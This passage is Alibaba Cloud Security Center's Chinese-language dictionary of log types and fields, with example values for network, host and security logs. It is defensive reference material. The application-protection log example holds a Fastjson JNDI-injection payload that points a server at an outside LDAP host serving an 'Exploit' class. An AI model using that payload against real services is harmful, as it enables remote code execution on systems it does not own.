云安全中心的日志类别和字段含义_云安全中心(Security Center)-阿里云帮助中心

查看云安全中心日志可以帮您及时发现、调查和响应安全事件。购买日志分析存储容量后，云安全中心默认开启了安全日志、网络日志、主机日志，分别记录系统中的安全事件、网络流量情况和主机的活动。本文介绍云安全中心日志字典V1.0支持的日志类型以及每种日志类型的字段说明。

不同版本支持记录的日志类型

云安全中心不同版本支持的安全能力不同，可记录的日志类型不同。全量购买场景下，根据您购买的云安全中心版本记录支持的日志类型。非全量购买场景下（支持授权数管理），按照服务器绑定的版本记录服务器中对应的日志类型。不同版本支持记录的日志类型如下：

版本	支持记录的日志类型
企业版、旗舰版	云安全中心支持的所有日志类型。
防病毒版、高级版	所有主机日志和安全日志。
未绑定授权服务器	网络日志说明仅支持记录购买企业版或旗舰版用户未绑定授权服务器的网络日志。不支持记录购买防病毒版或高级版用户未绑定授权服务器的网络日志。 Web访问日志 DNS解析日志网络会话日志本地DNS日志主机日志客户端事件日志安全日志漏洞日志（仅记录免费版支持的漏洞）安全告警日志（仅记录免费版支持的告警）云平台配置检查日志（仅使用云平台配置检查功能后记录日志）应用防护日志（仅使用应用防护功能后记录日志）恶意文件检测日志（仅使用恶意文件检测功能后记录日志）核心文件监控事件日志（仅使用核心文件监控功能后记录上报的告警事件）

日志分类

网络日志

说明

全球（不含中国）区域不支持查看网络日志。

日志类型	__topic__	描述	采集周期
Web访问日志	sas-log-http	记录用户请求Web服务器和Web服务器响应的日志，包括HTTP请求的详细信息，例如用户IP地址、请求时间、请求方法、请求URL、HTTP状态码、响应大小等。 Web访问日志通常用于分析Web流量和用户行为、识别访问模式和异常情况、优化网站性能等。	数据延迟采集，延迟时间一般为：1~12小时
DNS解析日志	sas-log-dns	记录DNS解析过程详细信息的日志，包括请求域名、查询类型、客户端IP地址、响应值等信息。通过分析DNS解析日志，您可以了解DNS解析的请求和响应过程，检测异常的解析行为、DNS劫持、DNS污染等问题。
本地DNS日志	local-dns	记录在本地DNS服务器上的DNS查询和响应的日志，包括本地DNS请求和响应的详细信息，包括请求域名、查询类型、客户端IP地址、响应值等。通过本地DNS日志，您可以了解网络中的DNS查询活动，检测异常的查询行为、域名劫持和DNS污染等问题
网络会话日志	sas-log-session	记录网络连接和数据传输的日志，包括网络会话的详细信息，如会话开始时间、双方IP地址、使用的协议和端口等。网络会话日志通常用于监控网络流量、识别潜在威胁、优化网络性能等。

主机日志

日志类型	__topic__	描述	采集周期
登录流水日志	aegis-log-login	记录用户登录服务器的日志，包括登录时间、登录用户、登录方式、登录IP地址等信息。登录流水日志可以帮助您监控用户的活动，及时识别和响应异常行为，从而保障系统的安全性。说明云安全中心不支持Windows Server 2008操作系统的登录流水日志。	实时采集。
网络连接日志	aegis-log-network	记录网络连接活动的日志，包括服务器连接五元组、连接时间、连接状态等信息。网络连接日志可以帮助您发现异常连接行为，识别潜在的网络攻击，优化网络性能等。说明服务器只收集网络连接从建立到结束过程中的部分状态。入向流量不记录。	实时采集。
进程启动日志	aegis-log-process	记录服务器上进程启动相关的日志，包括进程启动时间、启动命令、参数等信息。通过记录和分析进程启动日志，您可以了解系统中进程的启动情况和配置信息，检测异常进程活动、恶意软件入侵和安全威胁等问题。	实时采集，进程启动立刻上报。
暴力破解日志	aegis-log-crack	记录暴力破解行为的日志，包括尝试登录及破解系统、应用程序或账号的信息。通过记录和分析暴力破解日志，您可以了解系统或应用程序受到的暴力破解攻击，检测异常的登录尝试、弱密码和凭证泄露等问题。暴力破解日志还可以用于追踪恶意用户和取证分析，协助安全团队进行事件响应和调查工作。	实时采集。
账号快照日志	aegis-snapshot-host	记录系统或应用程序中用户账号详细信息的日志，包括账号的基本属性，例如用户名、密码策略、登录历史等。通过比较不同时间点的账号快照日志，您可以了解用户账号的变化和演变情况，及时检测潜在的账号安全问题，例如未授权的账号访问、异常的账号状态等。	开启资产指纹自动采集功能时，按照设定的周期自动采集。资产指纹自动采集的更多信息，请参见资产指纹调查。未开启资产指纹自动采集功能时，每台服务器一天非固定时间收集一次。
网络快照日志	aegis-snapshot-port	记录网络连接的日志，包括连接五元组、连接状态及关联的进程信息等字段。通过记录和分析网络连接快照日志，您可以了解系统中活动的网络套接字情况，帮助您发现异常连接行为，识别潜在的网络攻击，优化网络性能等。
进程快照日志	aegis-snapshot-process	记录系统中进程活动的日志，包括进程ID、进程名称、进程启动时间等信息。通过记录和分析进程快照日志，您可以了解系统中进程的活动情况、资源占用情况，检测异常进程、CPU占用和内存泄露等问题。
DNS请求日志	aegis-log-dns-query	记录DNS查询请求的日志，包括服务器发送DNS查询请求的详细信息，例如查询的域名、查询类型、查询来源等信息。通过分析DNS请求日志，您可以了解网络中的DNS查询活动，检测异常的查询行为、域名劫持和DNS污染等问题	实时采集。
客户端事件日志	aegis-log-client	记录云安全中心客户端的上线和离线事件。	实时采集。

安全日志类型

日志类型	__topic__	描述	采集周期
漏洞日志	sas-vul-log	记录系统或应用程序中发现的漏洞相关信息的日志，包括漏洞名称、漏洞状态、处理动作等信息。通过记录和分析漏洞日志，您可以了解系统中存在的漏洞情况、安全风险和攻击趋势，及时采取相应的补救措施。	实时采集。
基线日志	sas-hc-log	记录基线风险检查结果的日志，包括基线等级、基线类别、风险等级等信息。通过记录和分析基线风险日志，您可以了解系统的基线安全状态和潜在的风险。说明仅记录首次出现且未通过的检查项数据，以及在历史检测中已通过但重新检测后未通过的检查项数据。
安全告警日志	sas-security-log	记录系统或应用程序中发生的安全事件和告警信息的日志，包括告警数据源、告警详情、告警等级等信息。通过记录和分析安全告警日志，您可以了解系统中的安全事件和威胁情况，及时采取相应的响应措施。
云平台配置检查日志	sas-cspm-log	记录云平台配置检查相关的日志，包括云平台配置检查的检查结果、加白操作等信息。通过记录和分析云平台配置检查日志，您可以了解云平台中存在的配置问题和潜在的安全风险。
网络防御日志	sas-net-block	记录网络攻击事件的日志，包括攻击类型、源IP地址、目标IP地址等关键信息。通过记录和分析网络防御日志，您可以了解网络中发生的安全事件，进而采取相应的响应和防御措施，提高网络的安全性和可靠性。
应用防护日志	sas-rasp-log	记录应用防护功能的攻击告警信息的日志，包括攻击类型、行为数据、攻击者IP等关键信息。通过记录和分析应用防护告警日志，您可以了解应用程序中发生的安全事件，进而采取相应的响应和防御措施，提高应用程序的安全性和可靠性。
恶意文件检测日志	sas-filedetect-log	记录使用恶意文件检测SDK进行恶意文件检测的日志，包括恶意文件检测的文件信息、检测场景、检测结果等信息。通过记录和分析恶意文件检测日志，您可以识别离线文件和阿里云OSS文件中存在的常见病毒，例如勒索病毒、挖矿程序等，及时处理以防止恶意文件传播和执行。

网络日志字段说明

重要

仅云安全中心企业版、旗舰版支持网络日志。

Web访问日志

字段名	说明	示例
content_length	返回的消息实体的长度。单位为：Byte。	612
dst_ip	目标主机的IP地址。	39.105.XX.XX
dst_port	目标主机的端口。	80
host	访问的对向主机的IP地址或域名。	39.105.XX.XX
jump_location	重定向地址。	123
method	HTTP请求方式。	GET
referer	客户端向服务器发送请求时的HTTP referer，告知服务器访问来源的HTTP连接。	www.example.com
request_datetime	请求时间。	2023-08-07 22:42:41
ret_code	服务器对请求的响应状态码。	200
rqs_content_type	请求内容类型。	text/plain;charset=utf-8
rsp_content_type	响应内容类型。	text/plain; charset=utf-8
src_ip	访问源的IP地址。	31.220.XX.XX
src_port	访问源的端口。	59524
uri	请求URI。	/report
user_agent	向客户端发起的请求。	okhttp/3.2.0
x_forward_for	HTTP请求头字段，记录客户端的真实IP地址。	31.220.XX.XX

DNS解析日志

字段名	说明	示例
additional	DNS服务器返回的附加资源记录的信息，例如CNAME记录、MX记录、PTR记录等。	无
additional_num	DNS服务器返回的附加资源记录的数量。	0
answer	DNS服务器返回的回答信息，指示查询主机的具体解析结果。回答信息包含了请求域名对应的IP地址或其他相关信息，例如A记录、AAAA记录等。	example.com A IN 52 1.2.XX.XX
answer_num	DNS服务器返回的回答信息的数量。	1
authority	DNS服务器返回的权威记录信息，指示负责管理和提供该域名解析的DNS服务器。权威记录包含了对请求域名进行授权的DNS服务器的信息，例如NS记录。	NS IN 17597
authority_num	DNS服务器返回的权威记录的数量。	1
client_subnet	DNS客户端的子网掩码信息。	59.152.XX.XX
dst_ip	目的IP。	106.55.XX.XX
dst_port	目的端口。	53
in_out	DNS请求的数据传输方向，取值： in：进入DNS服务器的请求。 out：DNS服务器发出的响应。	out
qid	查询ID。	13551
qname	DNS解析请求的查询域名。	example.com
qtype	DNS解析请求的查询类型。	A
query_datetime	DNS解析请求的时间。	2023-08-25 09:59:15
rcode	DNS服务器返回的响应代码，指示DNS解析结果。	0
region	来源地域ID。取值： 1：北京。 2：青岛。 3：杭州。 4：上海。 5：深圳。 6：其他。	1
response_datetime	DNS服务器返回响应的时间。	2023-08-25 09:59:16
src_ip	源IP地址。	106.11.XX.XX
src_port	源端口。	22

本地DNS日志

字段名	说明	示例
answer_rda	DNS回答的RDA（Resource Data Area）字段，表示解析结果的具体值。	106.11.XX.XX
answer_ttl	DNS回答的TTL（Time to Live）字段，表示解析结果的生存时间，单位为秒。	600
answer_type	DNS响应的记录类型，以下是常见的DNS响应类型取值： 1：A记录。 2：NS记录。 5：CNAME记录。 6：SOA记录。 10：NULL记录。 12：PTR记录。 15：MX记录。 16：TXT记录。 25：KEY记录。 28：AAAA记录。 33：SRV记录。 41：OPT记录。 43：DS记录。 44：SSHFP记录。 45：IPSECKEY记录。 46：RRSIG记录。 47：NSEC记录。	1
anwser_name	DNS回答的记录名称，表示与资源记录关联的域名。	example.com
dest_ip	目的IP地址，表示请求发往的IP地址，默认为十进制IP地址格式。	323223****
dest_port	目的端口，表示请求发往的端口号。	53
group_id	分组ID。相同的分组ID表示相同的DNS请求或响应。	3
hostname	主机名。	hostname
id	查询ID，用于唯一标识DNS请求或响应。	64588
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
internet_ip	DNS请求或响应的公网IP地址。	121.40.XX.XX
ip_ttl	DNS请求或响应中IP数据包的TTL值。	64
query_name	查询的域名。	example.com
query_type	DNS解析请求的查询类型。取值： 1：A记录。 2：NS记录。 5：CNAME记录。 6：SOA记录。 10：NULL记录。 12：PTR记录。 15：MX记录。 16：TXT记录。 25：KEY记录。 28：AAAA记录。 33：SRV记录。	1
src_ip	发起DNS请求或响应的IP地址，默认为十进制IP地址格式。	168427****
src_port	发起DNS请求或响应的端口号。	53
time	DNS请求或响应的时间戳，单位为秒。	1537840756
time_usecond	DNS请求或响应的时间戳，单位为微秒。	49069
tunnel_id	DNS请求或响应所使用的隧道ID，用于唯一标识一个网络隧道。网络隧道是一种通过不同的网络协议来传输数据的方式，可以用于安全访问互联网或跨越不同网络的通信。	514763

网络会话日志

字段名	说明	示例
asset_type	产生日志的资产。取值： ECS：云服务器ECS。 SLB：负载均衡SLB。 NAT：NAT网关。	ECS
dst_ip	目标IP地址。	119.96.XX.XX
dst_port	目标端口。	443
in_out	网络会话的数据传输方向。固定取值为out。通信协议为TCP时，表示从阿里云内到阿里云外发起的请求。通信协议为UDP时，不代表请求的实际方向，仅供参考。	out
proto	协议类型。取值： tcp。 udp。	tcp
session_time	网络会话的开始时间。	2023-08-15 09:59:49
src_ip	源IP地址。	121.40.XX.XX
src_port	源端口。	53602

主机日志字段说明

登录流水日志

字段名	说明	示例
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	服务器的IP地址。	192.168.XX.XX
sas_group_name	服务器在云安全中心的资产分组。	default
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****
warn_ip	登录服务器的IP地址。	221.11.XX.XX
warn_port	登录服务器的端口。	22
warn_type	登录类型。取值： SSHLOGIN、SSH：SSH登录。 RDPLOGIN：远程桌面登录。 IPCLOGIN：IPC连接登录。	SSH
warn_user	登录用户名。	admin
warn_count	登录次数。 1分钟内重复登录会被合并为1条日志，例如`warn_count`值为3，表示在最近1分钟内重复登录了3次。	3

网络连接日志

字段名	说明	示例
cmd_chain	进程链。	[ { "9883":"bash -c kill -0 -- -'6274'" } ...... ]
cmd_chain_index	进程链索引，可以通过相同索引查找进程链。	B184
container_hostname	容器内服务器名称。	nginx-ingress-controller-765f67fd4d-****
container_id	容器ID。	4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****
container_image_id	镜像ID。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****
container_image_name	镜像名称。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****
container_name	容器名称。	nginx-ingress-****
container_pid	容器内进程ID。	0
dir	网络连接方向。取值： in：入方向。 out：出方向。	in
dst_ip	网络连接接收者的IP。 dir为out时，表示对端主机。 dir为in时，表示本机。	192.168.XX.XX
dst_port	网络连接接收者的端口。	443
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	服务器IP地址。	192.168.XX.XX
parent_proc_file_name	父进程的文件名。	/usr/bin/bash
pid	进程ID。	14275
ppid	父进程ID。	14268
proc_name	进程名。	nginx
proc_path	进程路径。	/usr/local/nginx/sbin/nginx
proc_start_time	进程的启动时间。	N/A
proto	协议。取值： tcp。 udp。 raw（表示raw socket）。	tcp
sas_group_name	服务器在云安全中心的资产分组。	default
src_ip	源IP地址。	100.127.XX.XX
src_port	源端口。	41897
srv_comm	父进程的父进程关联的命令名。	containerd-shim
status	网络连接状态。取值： 1：连接已关闭（closed）。 2：正在等待连接请求（listen）。 3：已发送SYN请求（syn send）。 4：已接收SYN请求（syn recv）。 5：连接已建立（established）。 6：等待关闭连接（close wait）。 7：正在关闭连接（closing）。 8：等待对方发送关闭请求（fin_wait1）。 9：等待对方发送关闭请求并确认（fin_wait2）。 10：等待足够的时间以确保对方收到关闭请求的确认（time_wait）。 11：已删除传输控制块（delete_tcb）。	5
type	实时网络连接的类型。取值： connect：主动发起TCP connect连接。 accept：收到TCP连接。 listen：端口监听。	listen
uid	进程用户的ID。	101
username	进程的用户名。	root
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

进程启动日志

字段名	说明	示例
cmd_chain	进程链。	[ { "9883":"bash -c kill -0 -- -'6274'" } ...... ]
cmd_chain_index	进程链索引，可以通过相同索引查找进程链。	B184
cmd_index	命令行每个参数的索引，每两个为一组，标识一个参数的起止索引。	0,3,5,8
cmdline	进程启动的完整命令行。	ipset list KUBE-6-CLUSTER-IP
comm	进程关联的命令名。	N/A
container_hostname	容器内服务器名称。	nginx-ingress-controller-765f67fd4d-****
container_id	容器ID。	4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****
container_image_id	镜像ID。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****
container_image_name	镜像名称。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****
container_name	容器名称。	nginx-ingress-****
containerpid	容器内进程ID。	0
cwd	进程运行目录。	N/A
filename	进程文件名。	ipset
filepath	进程文件完整路径。	/usr/sbin/ipset
gid	进程组的ID。	0
groupname	用户组。	group1
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	服务器IP地址。	192.168.XX.XX
parent_cmd_line	父进程的命令行。	/usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/config.conf --hostname-override=cn-beijing.192.168.XX.XX
pfilename	父进程文件名。	kube-proxy
pfilepath	父进程文件完整路径。	/usr/local/bin/kube-proxy
pid	进程ID。	14275
ppid	父进程ID。	14268
pstime	父进程的启动时间。	2023-08-09 14:19:00
sas_group_name	服务器在云安全中心的资产分组。	default
srv_cmd	祖进程的命令行。	/usr/bin/containerd
tty	登录的终端。N/A表示账号从未登录过终端。	N/A
uid	用户ID。	123
uid	进程用户的ID。	101
username	进程的用户名。	root
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

暴力破解日志

字段名	说明	示例
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	被暴力破解的服务器IP地址。	192.168.XX.XX
sas_group_name	服务器在云安全中心的资产分组。	default
uuid	被暴力破解的服务器UUID。	5d83b26b-b7ca-4a0a-9267-12*****
warn_count	失败登录次数。 1分钟内重复登录会被合并为1条日志，例如`warn_count`值为3，表示在最近1分钟内重复登录了3次。	3
warn_ip	登录来源IP地址。	47.92.XX.XX
warn_port	登录端口。	22
warn_type	登录类型。取值： SSHLOGIN、SSH：SSH登录。 RDPLOGIN：远程桌面登录。 IPCLOGIN：IPC连接登录。	SSH
warn_user	登录用户名。	user

账号快照日志

字段名	说明	示例
account_expire	账号的过期时间。never表示永不过期。	never
domain	账号所在的域或目录服务。N/A表示不属于任何域。	N/A
groups	账号所在的分组。N/A表示不属于任何组。	["nscd"]
home_dir	主目录，系统中存储和管理文件的默认位置。	/Users/abc
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	服务器IP地址。	192.168.XX.XX
last_chg	最后一次修改密码的日期。	2022-11-29
last_logon	最后一次登录账号的日期和时间。N/A表示从未登录过。	2023-08-18 09:21:21
login_ip	最后一次登录账号的远程IP地址。N/A表示从未登录过。	192.168.XX.XX
passwd_expire	密码的过期日期。never表示永不过期。	2024-08-24
perm	是否拥有root权限。取值： 0：没有root权限。 1：有root权限。	0
sas_group_name	服务器在云安全中心的资产分组。	default
shell	Linux的Shell命令。	/sbin/nologin
status	用户账号的状态，取值： 0：账号已被禁止登录。 1：账号可以正常登录。	0
tty	登录的终端。N/A表示账号从未登录过终端。	N/A
user	用户名称。	nscd
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****
warn_time	密码到期提醒日期。never表示永不提醒。	2024-08-20

网络快照日志

字段名	说明	示例
dir	网络连接方向。取值： in：入方向。 out：出方向。	in
dst_ip	网络连接接收者的IP。 dir为out时，表示对端主机。 dir为in时，表示本机。	192.168.XX.XX
dst_port	网络连接接收者的端口。	443
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	服务器IP地址。	192.168.XX.XX
pid	进程ID。	682
proc_name	进程名。	sshd
proto	协议。取值： tcp4：用IPv4协议的TCP连接。 tcp6：用IPv6协议的TCP连接。 udp4：用IPv4协议的UDP连接。 udp6：用IPv6协议的UDP连接。	tcp4
sas_group_name	服务器在云安全中心的资产分组。	default
src_ip	源IP地址。	100.127.XX.XX
src_port	源端口。	41897
status	网络连接状态。取值： 1：连接已关闭（closed）。 2：正在等待连接请求（listen）。 3：已发送SYN请求（syn send）。 4：已接收SYN请求（syn recv）。 5：连接已建立（established）。 6：等待关闭连接（close wait）。 7：正在关闭连接（closing）。 8：等待对方发送关闭请求（fin_wait1）。 9：等待对方发送关闭请求并确认（fin_wait2）。 10：等待足够的时间以确保对方收到关闭请求的确认（time_wait）。 11：已删除传输控制块（delete_tcb）。	5
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

进程快照日志

字段名	说明	示例
cmdline	进程启动的完整命令行。	/usr/local/share/assist-daemon/assist_daemon
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	服务器IP地址。	192.168.XX.XX
md5	二进制文件的MD5哈希值。说明超过1 MB的进程文件不进行MD5计算。	1086e731640751c9802c19a7f53a64f5
name	进程文件名。	assist_daemon
path	进程文件完整路径。	/usr/local/share/assist-daemon/assist_daemon
pid	进程ID。	1692
pname	父进程文件名。	systemd
sas_group_name	服务器在云安全中心的资产分组。	default
start_time	进程启动时间。内置字段。	2023-08-18 20:00:12
uid	进程用户的ID。	101
username	进程的用户名。	root
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

DNS请求日志

字段名	说明	示例
domain	DNS请求对应的域名。	example.aliyundoc.com
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
ip	发起DNS请求的服务器IP地址。	192.168.XX.XX
pid	发起DNS请求的进程ID。	3544
ppid	发起DNS请求的父进程ID。	3408
proc_cmd_chain	发起DNS请求的进程链。	"3544":"\"C:\\Program Files (x86)\\Alibaba\\Aegis\\AliDetect\\AliDetect.exe\""
proc_cmdline	发起DNS请求的命令行。	C:\Program Files (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe
proc_path	发起DNS请求的进程路径。	C:/Program Files (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe
sas_group_name	服务器在云安全中心的资产分组。	default
time	捕获DNS请求事件的时间，该时间一般和DNS请求发生时间相同。	2023-08-17 20:05:04
uuid	发起DNS请求的服务器UUID。	5d83b26b-b7ca-4a0a-9267-12****

客户端事件日志

字段名	说明	示例
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****
client_ip	服务器IP地址。	192.168.XX.XX
agent_version	客户端版本。	aegis_11_91
last_login	上次登录的时间戳。单位：毫秒。	1716444387617
platform	操作系统类型。取值： windows linux	linux
region_id	服务器所在地域ID。	cn-beijing
status	客户端状态。取值： online offline	online

安全日志字段说明

漏洞日志

字段名	说明	示例
alias_name	漏洞别名。	CESA-2023:1335: openssl Security Update
extend_content	漏洞扩展信息。	{"cveList":["CVE-2023-0286"],"necessity":{"gmt_create":"20230816","connect_cnt":80,"total_score":0.0,"assets_factor":1.0,"enviroment_factor":1.5,"status":"normal"},"os":"centos","osRelease":"7","preCheck":{},"rpmCanUpdate":true,"rpmEntityList":[{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl-libs version less than 1.0.2k-26.el7_9","matchList":["openssl-libs version less than 1.0.2k-26.el7_9"],"name":"openssl-libs","nextResult":false,"path":"/etc/pki/tls","result":true,"updateCmd":"yum update openssl-libs","version":"1.0.2k-25.el7_9"},{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl version less than 1.0.2k-26.el7_9","matchList":["openssl version less than 1.0.2k-26.el7_9"],"name":"openssl","nextResult":false,"path":"/etc/pki/CA","result":true,"updateCmd":"yum update openssl","version":"1.0.2k-25.el7_9"}]}
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
internet_ip	资产的公网IP。	39.104.XX.XX
intranet_ip	资产的私网IP。	192.168.XX.XX
machine_name	主机名称。	hhht-linux-***
name	漏洞名称。	centos:7:cesa-2023:1335
op	漏洞的处理动作。取值： new：新增。 verify：验证。 fix：修复。	new
status	状态信息。取值： 1：未修复。 2：修复失败。 3：回滚失败。 4：修复中。 5：回滚中。 6：验证中。 7：修复成功。 8：修复成功，待重启。 9：回滚成功。 10：忽略。 11：回滚成功，待重启。 12：已不存在。 13：已失效。	1
tag	漏洞的标签。取值： oval：Linux软件漏洞。 system：Windows系统漏洞。 cms：Web-CMS漏洞。说明其他类型的漏洞的标签为随机字符串。	oval
type	漏洞类型。取值： sys：windows系统漏洞。 cve：Linux软件漏洞。 cms：Web-CMS漏洞。 emg：紧急漏洞。	sys
uuid	服务器UUID。	ad66133a-dc82-4e5e-9659-a49e3****

基线日志

字段名	说明	示例
check_item	检查项名称。	设置密码修改最小间隔时间
check_level	基线的检查等级。取值： high：高危。 medium：中危。 low：低危。	medium
check_type	检查项类型。	身份鉴别
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
level	风险项级别。取值： high：高。 medium：中。 low：低。	medium
op	操作信息。取值： new：新增。 verity：验证。	new
risk_name	风险项名称。	密码策略合规检测
sas_group_name	检测出当前风险项的服务器在云安全中心的资产分组。	default
status	状态信息。取值： 1：未修复。 2：修复失败。 3：回滚失败。 4：修复中。 5：回滚中。 6：验证中。 7：修复成功。 8：修复成功，待重启。 9：回滚成功。 10：忽略。 11：回滚成功，待重启。 12：已不存在。 13：已失效。	1
sub_type_alias	子类型别名（中文）。	国际通用安全最佳实践-Ubuntu 16/18/20/22安全基线检查
sub_type_name	基线子类型名称。基线子类型取值请参见基线类型及子类型列表。	hc_ubuntu16_cis_rules
type_alias	类型别名（中文）。	国际通用安全最佳实践
type_name	基线类型。基线类型取值请参见基线类型及子类型列表。	cis
uuid	检测出当前风险项的服务器UUID。	1ad66133a-dc82-4e5e-9659-a49e3****

安全告警日志

字段名	说明	示例
data_source	数据源。取值： aegis_suspicious_event：主机异常。 aegis_suspicious_file_v2：Webshell。 aegis_login_log：异常登录。 honeypot：云蜜罐告警事件。 object_scan：文件检测异常事件。 security_event：云安全中心异常事件。 sas_ak_leak：AK泄露事件。	aegis_login_log
detail	告警详情。说明告警类型不同，detail字段包含的内容也不同。如果您在查看告警日志时，对detail字段中的参数有疑问，您可以通过智能在线联系技术支持人员。	{"loginSourceIp":"221.11.XX.XX","loginDestinationPort":22,"loginUser":"root","protocol":2,"protocolName":"SSH","clientIp":"192.168.XX.XX","loginTimes":1,"location":"西安市","type":"login_common_account","displayEventName":"ECS非常用账号登录","status":0}
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
internet_ip	资产的公网IP。	39.104.XX.XX
intranet_ip	资产的私网IP。	192.168.XX.XX
level	告警事件的危险等级。取值： serious：紧急。 suspicious：可疑。 remind：提醒。	suspicious
name	告警名称。	异常登录-ECS非常用账号登录
op	操作信息。取值： new：新增。 dealing：处理。 update：更新。	new
status	告警的状态。取值： 0：全部。 1：待处理。 2：已忽略。 4：已确认。 8：已标记为误报。 16：处理中。 32：处理完毕。 64：已经过期。 128：已经删除。 512：自动拦截中。 513：自动拦截完毕。	1
unique_info	告警的唯一标识。	2536dd765f804916a1fa3b9516b5****
uuid	产生告警的服务器UUID。	ad66133a-dc82-4e5e-9659-a49e3****

云平台配置检查日志

字段名	说明	示例
check_id	检查项ID。您可以调用ListCheckResult - 查看云产品中云平台配置检查风险项结果详情接口获取ID值。	11
check_show_name	检查项名称。	回源配置
instance_id	实例ID。	i-2zeg4zldn8zypsfg****
instance_name	实例名称。	lsm
instance_result	风险产生的影响。格式为JSON字符串。	{"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,"searchKey":"RegionIdKey","showName":"Region","type":"text"},{"key":"InstanceIdShow","search":true,"searchKey":"InstanceIdKey","showName":"Instance ID","type":"link"},{"key":"InstanceNameShow","search":true,"searchKey":"InstanceNameKey","showName":"Instance Name","type":"text"}]}
instance_sub_type	实例的子类型。取值：当实例类型为ECS时，子类型的取值： INSTANCE。 DISK。 SECURITY_GROUP。当实例类型为ACR时，子类型的取值： REPOSITORY_ENTERPRISE。 REPOSITORY_PERSON。当实例类型为RAM时，子类型的取值： ALIAS。 USER。 POLICY。 GROUP。当实例类型为WAF时，子类型的取值为DOMAIN。当实例类型为其他值时，子类型的取值为INSTANCE。	INSTANCE
instance_type	实例类型。取值： ECS：云服务器。 SLB：负载均衡。 RDS：RDS数据库。 MONGODB：MongoDB数据库。 KVSTORE：Redis数据库。 ACR：容器镜像服务。 CSK：CSK。 VPC：专有网络。 ACTIONTRAIL：操作审计。 CDN：内容分发网络。 CAS：数字证书管理服务（原SSL证书）。 RDC：云效。 RAM：访问控制。 DDOS：DDoS防护。 WAF：Web应用防火墙。 OSS：对象存储。 POLARDB：PolarDB数据库。 POSTGRESQL：PostgreSQL数据库。 MSE：微服务引擎。 NAS：文件存储。 SDDP：敏感数据保护。 EIP：弹性公网IP。	ECS
region_id	实例所在地域ID。	cn-hangzhou
requirement_id	条例ID。您可以通过ListCheckStandard - 云平台配置检查获取标准列表接口获取该ID。	5
risk_level	风险级别。取值： LOW。 MEDIUM。 HIGH。	MEDIUM
section_id	章节ID。您可以通过ListCheckResult - 查看云产品中云平台配置检查风险项结果详情接口获取ID值。	1
standard_id	标准ID。您可以通过ListCheckStandard - 云平台配置检查获取标准列表接口获取该ID。	1
status	检查项的状态。取值： NOT_CHECK：未检查。 CHECKING：检查中。 PASS：检查通过。 NOT_PASS：检查未通过。 WHITELIST：已加入白名单。	PASS
vendor	所属云厂商。固定取值：ALIYUN。	ALIYUN

网络防御日志

字段名	说明	示例
cmd	被攻击的进程命令行。	nginx: master process nginx
cur_time	攻击事件的发生时间。	2023-09-14 09:21:59
decode_payload	HEX格式转换为字符的payload。	POST /Services/FileService/UserFiles/
dest_ip	被攻击资产的IP地址。	172.16.XX.XX
dest_port	被攻击资产的端口。	80
func	拦截事件的类型。取值： payload：恶意负载类型，表示由于检测到恶意数据或指令而触发的攻击事件拦截。 tuple：恶意IP类型，表示由于检测到恶意IP访问而触发的攻击事件拦截。	payload
rule_type	拦截事件下的具体规则类型。取值： alinet_payload：云安全中心指定的payload事件防御规则。 alinet_tuple：云安全中心指定的tuple事件防御规则。	alinet_payload
instance_id	被攻击资产的实例ID。	i-2zeg4zldn8zypsfg****
internet_ip	被攻击资产的公网IP。	39.104.XX.XX
intranet_ip	被攻击资产的私网IP。	192.168.XX.XX
model	防御动作模式。取值：block（已拦截）。	block
payload	HEX格式的payload。	504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20****
pid	被攻击的进程ID。	7107
platform	被攻击资产的系统类型。取值： win。 linux。	linux
proc_path	被攻击的进程路径。	/usr/sbin/nginx
sas_group_name	服务器在云安全中心的资产分组。	default
src_ip	发起攻击的源IP地址。	106.11.XX.XX
src_port	发起攻击的源端口。	29575
uuid	服务器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

应用防护日志

字段名	说明	示例
app_dir	应用所在目录。	/usr/local/aegis/rasp/apps/1111
app_id	应用ID。	6492a391fc9b4e2aad94****
app_name	应用名称。	test
confidence	检测算法的置信度。取值： high。 medium。 low。	low
content	请求体信息。	{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.220.XX.XX:1389/Exploit","autoCommit":true}
content_length	请求体长度。	112
data	hook点参数。	{"cmd":"bash -c kill -0 -- -'31098' "}
